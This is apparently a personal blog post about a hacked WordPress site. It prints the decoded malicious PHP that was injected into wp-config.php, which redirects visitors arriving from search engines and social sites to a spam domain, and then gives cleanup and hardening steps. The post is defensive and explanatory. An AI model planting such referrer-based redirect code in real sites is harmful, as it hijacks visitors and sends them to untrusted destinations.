I’m embarrassed to say that a site I host was recently hacked and any request coming from a search engine was being redirected to a less then desirable location.

I thought that I’d share what happened and then tell you what I did.

The Malicious Code

The file that was the culprit was the /wp-config.php file in my site root. I was able to determine this as the file date was not a day when I had edited any files in the site, so I looked in the file and found the following right at the top.

This is PHP code that has been encoded with MIME base64. This allows the party that added this to my site to “hide” what this code is doing.



Finding code like this is quite concerning, to say the least!



if (!$qazplm){
if ($uag) {
if (!stristr($uag,"MSIE 7.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){header("Location: http://1letojdj.sellClassics.com/");

Basically this is taking requests from search engines (many of them) and then redirecting to a less then desirable site, in this case http://1letojdj.sellClassics.com

What Now?

Change your FTP password. Immediately. Do a review of the WordPress Theme you are using, and also review all the plugins you have running. Update the WordPress Core to the current stable release, and then update any themes and plugins to the highest compatible version.

After removing the code, I installed a WordPress Plugin called BulletProof Security. One of the things this plugin does is secures the /wp-config.php file, and also scans for base64 code.

you have to protect yourself, and you have to protect your website in the same way. You do not build a house without locks on the doors, so why let yourself be welcoming to intruders in your web house. Sure you have to do more than put locks on the doors to your website, but it is certainly a start.

One more thing that you can do is change the permissions on your /wp-config.php file. I usually attempt to set 400, but some hosting providers will not allow this, so you can see here at NameCheap.com it is set to 600. At others I have seen 644. Just as long as User/Group and Everybody do not have Write or Execute, you will be OK.

File Permissions for wp-config.php